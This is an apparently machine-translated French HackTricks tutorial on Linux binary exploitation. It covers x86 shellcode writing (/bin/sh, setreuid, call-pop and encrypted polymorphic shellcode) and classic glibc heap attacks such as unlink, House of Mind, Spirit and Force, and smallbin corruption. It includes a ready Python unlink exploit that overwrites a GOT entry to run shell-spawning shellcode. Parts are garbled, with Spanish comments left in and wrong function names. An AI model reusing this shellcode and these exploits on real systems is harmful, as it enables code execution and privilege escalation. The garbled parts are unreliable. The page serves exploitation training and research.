hacktricks/binary-exploitation/linux-exploiting-basic-esp.md

30 KiB
Raw Blame History

Linux Exploiting (Basic) (FRA)

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

2.SHELLCODE

Voir les interruptions du noyau : cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”

setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1

xor eax, eax ; nettoyer eax
xor ebx, ebx ; ebx = 0 car il n'y a pas d'argument à passer
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Exécuter l'appel système

nasm -f elf assembly.asm —> Renvoie un fichier .o
ld assembly.o -o shellcodeout —> Donne un exécutable composé du code assembleur et nous pouvons extraire les opcodes avec objdump
objdump -d -Mintel ./shellcodeout —> Pour vérifier que c'est bien notre shellcode et extraire les opcodes

Vérifier que le shellcode fonctionne

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

Pour vérifier que les appels système sont effectués correctement, vous devez compiler le programme précédent et les appels système doivent apparaître dans strace ./PROGRAMA_COMPILADO

Lors de la création de shellcodes, un astuce peut être utilisée. La première instruction est un saut vers un appel. L'appel appelle le code original et place également l'EIP dans la pile. Après l'instruction d'appel, nous avons inséré la chaîne dont nous avions besoin, de sorte qu'avec cet EIP nous pouvons pointer vers la chaîne et continuer à exécuter le code.

EX ASTUCE (/bin/sh):

jmp                 0x1f                                        ; Salto al último call
popl                %esi                                       ; Guardamos en ese la dirección al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instrución
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

EJ en utilisant la pile (/bin/sh) :

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

EJ FNSTENV :

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutó fabs
…

Chasseur d'œufs :

Il s'agit d'un petit code qui parcourt les pages de mémoire associées à un processus à la recherche de la shellcode qui y est stockée (recherche d'une signature spécifique dans la shellcode). Utile dans les cas où il n'y a qu'un petit espace pour injecter du code.

Shellcodes polymorphiques

Ce sont des shells chiffrées qui contiennent un petit code pour les déchiffrer et y sauter, en utilisant l'astuce Call-Pop, voici un exemple de chiffrement César :

global _start
_start:
jmp short magic
init:
pop     esi
xor      ecx, ecx
mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub     cl, 1
jnz       desc
jmp     short sc
magic:
call init
sc:
;Aquí va el shellcode

5. Méthodes complémentaires

8 Débordements de tas : Exploits de base

Chunk alloué

prev_size |
size | —En-tête
*mem | Données

Chunk libre

prev_size |
size |
*fd | Ptr chunk suivant
*bk | Ptr chunk précédent —En-tête
*mem | Données

Les chunks libres sont dans une liste doublement chaînée (bin) et il ne peut jamais y avoir deux chunks libres consécutifs (ils sont fusionnés)

Dans "size", il y a des bits pour indiquer : si le chunk précédent est en cours d'utilisation, si le chunk a été alloué via mmap() et si le chunk appartient à l'arène principale.

Lorsqu'un chunk est libéré et que l'un des chunks adjacents est libre, ils sont fusionnés à l'aide de la macro unlink() et le nouveau chunk le plus grand est passé à frontlink() pour qu'il l'insère dans le bon bin.

unlink(){
BK = P->bk; —> Le BK du nouveau chunk est celui du chunk qui était déjà libre avant
FD = P->fd; —> Le FD du nouveau chunk est celui du chunk qui était déjà libre avant
FD->bk = BK; —> Le BK du chunk suivant pointe vers le nouveau chunk
BK->fd = FD; —> Le FD du chunk précédent pointe vers le nouveau chunk
}

Par conséquent, si nous parvenons à modifier P->bk avec l'adresse d'un shellcode et P->fd avec l'adresse d'une entrée dans la GOT ou DTORS moins 12, nous obtenons :

BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode

Ainsi, le shellcode s'exécute à la sortie du programme.

De plus, la 4ème instruction de unlink() écrit quelque chose et le shellcode doit être ajusté pour cela :

BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Cela provoque l'écriture de 4 octets à partir du 8ème octet du shellcode, donc la première instruction du shellcode doit être un jmp pour sauter cela et atteindre des nops qui mènent au reste du shellcode.

Ainsi, l'exploit est créé :

Dans le buffer1, nous insérons le shellcode en commençant par un jmp pour qu'il atteigne les nops ou le reste du shellcode.

Après le shellcode, nous insérons du rembourrage jusqu'à atteindre le champ prev_size et size du chunk suivant. Nous mettons 0xfffffff0 à ces emplacements (pour écraser prev_size afin qu'il ait le bit indiquant qu'il est libre) et "-4" (0xfffffffc) dans size (pour que lorsqu'il vérifie dans le 3ème chunk si le 2ème était libre, il aille en réalité au prev_size modifié qui lui dira qu'il est libre) -> Ainsi, lorsque free() enquête, il ira au size du 3ème mais en réalité ira au 2ème - 4 et pensera que le 2ème chunk est libre. Il appellera alors unlink().

En appelant unlink(), les premières données du 2ème chunk seront utilisées comme P->fd, donc l'adresse à écraser - 12 sera insérée à cet endroit (car dans FD->bk, 12 sera ajouté à l'adresse stockée dans FD). Et à cette adresse, la deuxième adresse trouvée dans le 2ème chunk sera insérée, qui sera l'adresse du shellcode (fausse P->bk).

from struct import *

import os

shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de remplissage

shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

prev_size = pack("<I”, 0xfffffff0) #Il est important que le bit indiquant que le chunk précédent est libre soit à 1

fake_size = pack("<I”, 0xfffffffc) #-4, pour que le "size" du 3ème chunk soit 4 octets en arrière (pointe vers prev_size) car c'est là qu'il vérifie si le 2ème chunk est libre

addr_sc = pack("<I", 0x0804a008 + 8) #Dans la charge utile, nous ajoutons 8 octets de remplissage au début

got_free = pack("<I", 0x08048300 - 12) #Adresse de free() dans la plt-12 (sera l'adresse écrasée pour exécuter le shellcode la 2ème fois que free est appelé)

payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Comme mentionné, la charge utile commence par 8 octets de remplissage pour une raison quelconque

payload += prev_size + fake_size + got_free + addr_sc #Le 2ème chunk est modifié, got_free pointe vers l'endroit où nous allons stocker l'adresse addr_sc + 12

os.system("./8.3.o " + payload)

unset() libérant dans l'ordre inverse (wargame)

Nous contrôlons 3 chunks consécutifs et ils sont libérés dans l'ordre inverse de leur réservation.

Dans ce cas :

Le shellcode est placé dans le chunk c

Le chunk a est utilisé pour écraser le b de sorte que le size ait le bit PREV_INUSE désactivé, de sorte que le programme pense que le chunk a est libre.

De plus, le size dans l'en-tête de b est écrasé pour qu'il soit égal à -4.

Ainsi, le programme pensera que "a" est libre et dans un bin, il appellera donc unlink() pour le détacher. Cependant, comme l'en-tête PREV_SIZE vaut -4, il pensera que le chunk "a" commence réellement à b+4. Cela signifie qu'il fera un unlink() sur un chunk commençant à b+4, donc à b+12 se trouvera le pointeur "fd" et à b+16 se trouvera le pointeur "bk".

De cette manière, si nous mettons l'adresse du shellcode dans bk et l'adresse de la fonction "puts()" -12 dans fd, nous avons notre charge utile.

Technique de Frontlink

Frontlink est appelé lorsqu'un élément est libéré et aucun de ses chunks adjacents n'est libre, unlink() n'est pas appelé directement, mais frontlink() est appelé directement.

Vulnérabilité utile lorsque le malloc attaqué n'est jamais libéré (free()).

Nécessite :

Un tampon pouvant être débordé avec la fonction de saisie de données

Un tampon contigu à celui-ci qui doit être libéré et dont le champ fd de son en-tête sera modifié grâce au débordement du tampon précédent

Un tampon à libérer avec une taille supérieure à 512 mais inférieure au tampon précédent

Un tampon déclaré avant l'étape 3 qui permet de remplacer prev_size de celui-ci

En contrôlant ainsi deux mallocs de manière incontrôlée et un de manière contrôlée mais qui n'est libéré qu'une seule fois, nous pouvons créer un exploit.

Vulnérabilité double free()

Si free() est appelé deux fois avec le même pointeur, deux bins pointent vers la même adresse.

Si l'on veut réutiliser l'un, cela se fera sans problème. Si l'on veut utiliser l'autre, il occupera le même espace, de sorte que les pointeurs "fd" et "bk" seront falsifiés avec les données écrites par la réservation précédente.

Après free()

Un pointeur précédemment libéré est réutilisé sans contrôle.

8 Débordements de tas : Exploits avancés

Les techniques Unlink() et FrontLink() ont été supprimées en modifiant la fonction unlink().

The house of mind

Seul un appel à free() est nécessaire pour déclencher l'exécution de code arbitraire. Il est intéressant de rechercher un deuxième morceau qui peut être débordé par un précédent et libéré.

Un appel à free() entraîne un appel à public_fREe(mem), qui fait :

mstate ar_ptr;

mchunkptr p;

p = mem2chunk(mes); —> Renvoie un pointeur vers l'adresse où commence le morceau (mem-8)

ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]

_int_free(ar_ptr, mem);

}

Dans [1], il vérifie le champ size du bit NON_MAIN_ARENA, qui peut être modifié pour que la vérification renvoie vrai et exécute heap_for_ptr() qui effectue un "et" sur "mem", mettant à zéro les 2,5 octets les moins significatifs (dans notre cas, de 0x0804a000 à 0x08000000) et accède à 0x08000000->ar_ptr (comme s'il s'agissait d'une structure heap_info).

Ainsi, si nous pouvons contrôler un morceau par exemple à 0x0804a000 et qu'un morceau va être libéré à 0x081002a0, nous pouvons atteindre l'adresse 0x08100000 et écrire ce que nous voulons, par exemple 0x0804a000. Lorsque ce deuxième morceau sera libéré, heap_for_ptr(ptr)->ar_ptr renverra ce que nous avons écrit à 0x08100000 (car l'opération "et" vue précédemment est appliquée à 0x081002a0 et de là, la valeur des 4 premiers octets, ar_ptr, est extraite).

Ainsi, _int_free(ar_ptr, mem) est appelé, c'est-à-dire, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){

bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;

..}

Comme nous l'avons vu précédemment, nous pouvons contrôler la valeur de av, car c'est ce que nous écrivons dans le morceau qui va être libéré.

Comme unsorted_chunks est défini, nous savons que :
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;

Par conséquent, si nous écrivons la valeur de __DTOR_END__-12 dans av->bins[2], à la dernière instruction, la valeur de __DTOR_END__ sera écrite à l'adresse du deuxième morceau.

Cela signifie que dans le premier morceau, nous devons mettre au début plusieurs fois l'adresse de __DTOR_END__-12 car av->bins[2] la récupérera de là.

À l'adresse où tombe l'adresse du deuxième morceau avec les 5 derniers zéros, nous devons écrire l'adresse de ce premier morceau pour que heap_for_ptr() pense que ar_ptr est au début du premier morceau et récupère av->bins[2] de là.

Dans le deuxième morceau et grâce au premier, nous écrasons prev_size avec un saut de 0x0c et size avec quelque chose pour activer -> NON_MAIN_ARENA.

Ensuite, dans le deuxième morceau, nous mettons beaucoup de nops et enfin le code shell.

Ainsi, _int_free(TROZO1, TROZO2) sera appelé et suivra les instructions pour écrire l'adresse du prev_size du TROZO2 dans __DTOR_END__, qui sautera ensuite au code shell.

Pour appliquer cette technique, il faut que certains autres prérequis soient remplis, ce qui complique un peu plus la charge utile.

Cette technique n'est plus applicable car elle a été presque entièrement patchée comme pour unlink. On vérifie si le nouvel emplacement pointe également vers lui-même.

Fastbin

C'est une variante de The house of mind.

Nous voulons exécuter le code suivant, qui est atteint après la première vérification de la fonction _int_free() :

fb = &(av->fastbins[fastbin_index(size)] —> Où fastbin_index(sz) —> (sz >> 3) - 2

p->fd = *fb

*fb = p

Ainsi, si nous mettons une adresse dans "fb" qui pointe vers une fonction dans la GOT, à cette adresse sera placée l'adresse du morceau écrasé. Pour cela, il sera nécessaire que l'arène soit proche des adresses des dtors. Plus précisément, av->max_fast doit être à l'adresse que nous allons écraser.

Comme nous l'avons vu avec The House of Mind, nous contrôlions la position de av.

Ainsi, si nous mettons une taille de 8 + NON_MAIN_ARENA + PREV_INUSE dans le champ size, fastbin_index() nous renverra fastbins[-1], qui pointera vers av->max_fast.

Dans ce cas, av->max_fast sera l'adresse qui sera écrasée (non celle vers laquelle elle pointe, mais cette position sera écrasée).

De plus, il faut que le morceau contigu à celui libéré soit supérieur à 8 -> Comme nous avons dit que la taille du morceau libéré est de 8, dans ce faux morceau, nous devons simplement mettre une taille supérieure à 8 (comme la shellcode sera également dans le morceau libéré, nous devrons mettre un jmp au début qui tombe sur des nops).

De plus, ce même faux morceau doit être inférieur à av->system_mem. av->system_mem se trouve à 1848 octets plus loin.

En raison des zéros de _DTOR_END_ et des quelques adresses dans la GOT, aucune de ces adresses de ces sections ne convient pour être écrasée, donc voyons comment appliquer fastbin pour attaquer la pile.

Une autre forme d'attaque consiste à rediriger av vers la pile.

Si nous modifions la taille pour qu'elle soit de 16 au lieu de 8, alors : fastbin_index() nous renverra fastbins[0] et nous pouvons utiliser cela pour écraser la pile.

Pour cela, il ne doit y avoir aucun canary ni de valeurs étranges sur la pile, en fait nous devons nous trouver ici : 4 octets nuls + EBP + RET

Les 4 octets nuls sont nécessaires pour que av soit à cette adresse et le premier élément d'un av est le mutex qui doit valoir 0.

av->max_fast sera l'EBP et sera une valeur qui nous permettra de contourner les restrictions.

Dans av->fastbins[0], l'adresse de p sera écrasée et sera le RET, ainsi la shellcode sera exécutée.

De plus, à av->system_mem (1484 octets au-dessus de la position sur la pile), il y aura suffisamment de déchets qui nous permettront de contourner la vérification effectuée.

De plus, le morceau contigu à celui libéré doit être supérieur à 8 -> Comme nous l'avons dit que la taille du morceau libéré est de 16, dans ce faux morceau, nous devons simplement mettre une taille supérieure à 8 (comme la shellcode sera également dans le morceau libéré, nous devrons mettre un jmp au début qui tombe sur des nops qui se trouvent après le champ size du nouveau faux morceau).

The House of Spirit

Dans ce cas, nous cherchons à avoir un pointeur vers un malloc qui peut être modifié par l'attaquant (par exemple, le pointeur est sur la pile sous un éventuel débordement sur une variable).

Ainsi, nous pourrions faire pointer ce pointeur où nous voulons. Cependant, n'importe quel emplacement n'est pas valide, la taille du faux morceau doit être inférieure à av->max_fast et plus spécifiquement égale à la taille demandée dans un futur appel à malloc()+8. Par conséquent, si nous savons qu'après ce pointeur vulnérable un malloc(40) est appelé, la taille du faux morceau doit être de 48. Si par exemple le programme demande à l'utilisateur un nombre, nous pourrions entrer 48 et pointer le pointeur de malloc modifiable sur les 4 octets suivants (qui pourraient appartenir à l'EBP avec un peu de chance, donc le 48 se retrouve derrière, comme s'il était l'en-tête size). De plus, l'adresse ptr-4+48 doit remplir plusieurs conditions (dans ce cas ptr=EBP), c'est-à-dire, 8 < ptr-4+48 < av->system_mem.

Si cela se produit, lorsque le prochain malloc est appelé, que nous avons dit être malloc(40), il se verra attribuer l'adresse de l'EBP. Si l'attaquant peut également contrôler ce qui est écrit dans ce malloc, il peut écraser à la fois l'EBP et l'EIP avec l'adresse de son choix.

Cela est dû au fait que lorsqu'il sera libéré avec free(), il enregistrera que l'adresse pointée par l'EBP de la pile contient un morceau de taille parfaite pour le nouveau malloc() à réserver, donc il lui attribuera cette adresse.

La Maison de la Force

Il est nécessaire de :

  • Un débordement sur un morceau permettant de remplacer le wilderness
  • Un appel à malloc() avec la taille définie par l'utilisateur
  • Un appel à malloc() dont les données peuvent être définies par l'utilisateur

La première chose à faire est de remplacer la taille du morceau wilderness par une valeur très grande (0xffffffff), de sorte que toute demande de mémoire suffisamment grande sera traitée dans _int_malloc() sans avoir besoin d'étendre le tas.

La deuxième étape consiste à modifier av->top pour qu'il pointe vers une zone mémoire sous le contrôle de l'attaquant, comme la pile. Dans av->top, nous mettrons &EIP - 8.

Nous devons remplacer av->top pour qu'il pointe vers la zone mémoire sous le contrôle de l'attaquant :

victime = av->top;

reste = morceau_à_l'offset(victime, nb);

av->top = reste;

La victime récupère la valeur de l'adresse du wilderness actuel (l'actuel av->top) et le reste est exactement la somme de cette adresse plus la quantité d'octets demandée par malloc(). Ainsi, si &EIP-8 est à 0xbffff224 et av->top contient 0x080c2788, alors la quantité que nous devons réserver dans le malloc contrôlé pour que av->top pointe vers $EIP-8 pour le prochain malloc() sera :

0xbffff224 - 0x080c2788 = 3086207644.

Ainsi, la valeur modifiée sera enregistrée dans av->top et le prochain malloc pointera vers l'EIP et pourra l'écraser.

Il est important que la taille du nouveau morceau wilderness soit plus grande que la demande faite par le dernier malloc(). Autrement dit, si le wilderness pointe vers &EIP-8, la taille sera juste dans le champ EBP de la pile.

La Maison de la Connaissance

Corruption SmallBin

Les morceaux libérés sont placés dans le bin en fonction de leur taille. Avant d'être placés, ils sont stockés dans des bacs non triés. Lorsqu'un morceau est libéré, il n'est pas immédiatement placé dans son bin, mais reste dans les bacs non triés. Ensuite, s'il y a une nouvelle demande de morceau et que le morceau précédemment libéré peut convenir, il est renvoyé, mais s'il y a une demande de taille supérieure, le morceau libéré dans les bacs non triés est placé dans son bin approprié.

Pour atteindre le code vulnérable, la demande de mémoire doit être supérieure à av->max_fast (généralement 72) et inférieure à MIN_LARGE_SIZE (512).

Si le bin contient un morceau de la taille demandée, il est renvoyé après avoir été détaché :

bck = victime->bk; Pointe vers le morceau précédent, c'est la seule information que nous pouvons modifier.

bin->bk = bck; Le morceau avant-dernier devient le dernier, si bck pointe vers la pile, le prochain morceau réservé recevra cette adresse

bck->fd = bin; La liste est fermée en faisant pointer ceci vers bin

Il est nécessaire de :

De réserver deux malloc, de sorte que le premier puisse être débordé après que le second ait été libéré et placé dans son bin (c'est-à-dire, un malloc plus grand que le deuxième morceau doit être réservé avant le débordement)

Que le malloc réservé avec l'adresse choisie par l'attaquant soit contrôlé par l'attaquant.

L'objectif est le suivant, si nous pouvons déborder un tas qui a en dessous un morceau déjà libéré et dans son bin, nous pouvons modifier son pointeur bk. Si nous modifions son pointeur bk et que ce morceau devient le premier de la liste du bin et est réservé, le bin sera trompé et on lui dira que le dernier morceau de la liste (le prochain à offrir) est à l'adresse fausse que nous avons indiquée (vers la pile ou la GOT par exemple). Ainsi, si un autre morceau est réservé et que l'attaquant a des autorisations dessus, il recevra un morceau à l'endroit souhaité et pourra écrire dessus.

Après avoir libéré le morceau modifié, il est nécessaire de réserver un morceau plus grand que celui libéré, de sorte que le morceau modifié sorte des bacs non triés et soit placé dans son bin.

Une fois dans son bin, il est temps de modifier son pointeur bk via le débordement pour qu'il pointe vers l'adresse que nous voulons écraser.

Ainsi, le bin devra attendre que malloc() soit appelé suffisamment de fois pour que le bin modifié soit réutilisé et trompe le bin en lui faisant croire que le prochain morceau est à l'adresse fausse. Ensuite, le morceau qui nous intéresse sera donné.

Pour exécuter la vulnérabilité le plus rapidement possible, l'idéal serait : Réserver le morceau vulnérable, réserver le morceau qui sera modifié, libérer ce morceau, réserver un morceau plus grand que celui qui sera modifié, modifier le morceau (vulnérabilité), réserver un morceau de la même taille que celui qui a été violé et réserver un deuxième morceau de la même taille et celui-ci pointera vers l'adresse choisie.

Pour protéger cette attaque, la vérification typique est utilisée pour s'assurer que le morceau n'est pas faux : on vérifie si bck->fd pointe vers la victime. Autrement dit, dans notre cas, si le pointeur fd* du morceau faux pointé dans la pile pointe vers la victime. Pour contourner cette protection, l'attaquant devrait être capable d'écrire d'une manière ou d'une autre (probablement via la pile) à l'adresse appropriée l'adresse de la victime. Ainsi, cela ressemblera à un morceau réel.

Corruption LargeBin

Les mêmes exigences que précédemment sont nécessaires, ainsi que d'autres, en plus les morceaux réservés doivent être supérieurs à 512.

L'attaque est similaire à la précédente, c'est-à-dire qu'il faut modifier le pointeur bk et toutes ces appels à malloc(), mais il faut également modifier la taille du morceau modifié de sorte que cette taille - nb soit < MINSIZE.

Par exemple, il faudra mettre une taille de 1552 pour que 1552 - 1544 = 8 < MINSIZE (la soustraction ne peut pas être négative car elle compare un unsigned)

De plus, un correctif a été introduit pour le rendre encore plus compliqué.

Heap Spraying

Essentiellement, il s'agit de réserver autant de mémoire que possible pour les tas et de les remplir avec un matelas de nops suivis d'un shellcode. De plus, 0x0c est utilisé comme matelas. On essaiera de sauter à l'adresse 0x0c0c0c0c, ainsi si une adresse à laquelle on va appeler est écrasée avec ce matelas, le programme sautera là. Fondamentalement, la tactique est de réserver autant que possible pour voir si un pointeur est écrasé et de sauter à 0x0c0c0c0c en espérant qu'il y ait des nops là-bas.

Heap Feng Shui

Il s'agit de cimenter la mémoire en réservant et en libérant des morceaux de manière à ce qu'il reste des morceaux réservés entre des morceaux libres. Le buffer à déborder sera placé dans l'un de ces espaces libres.

objdump -d executable —> Désassembler les fonctions
objdump -d ./PROGRAMME | grep FONCTION —> Obtenir l'adresse de la fonction
objdump -d -Mintel ./shellcodeout —> Pour vérifier que c'est bien notre shellcode et obtenir les opcodes
objdump -t ./exec | grep varBss —> Table des symboles, pour obtenir l'adresse des variables et fonctions
objdump -TR ./exec | grep exit(func lib) —> Pour obtenir l'adresse des fonctions des bibliothèques (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Obtient l'adresse de puts à écraser dans le GOT
objdump -D ./exec —> Désassemble TOUT jusqu'aux entrées de la plt
objdump -p -/exec
Info functions strncmp —> Info de la fonction en gdb

Cours intéressants

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks: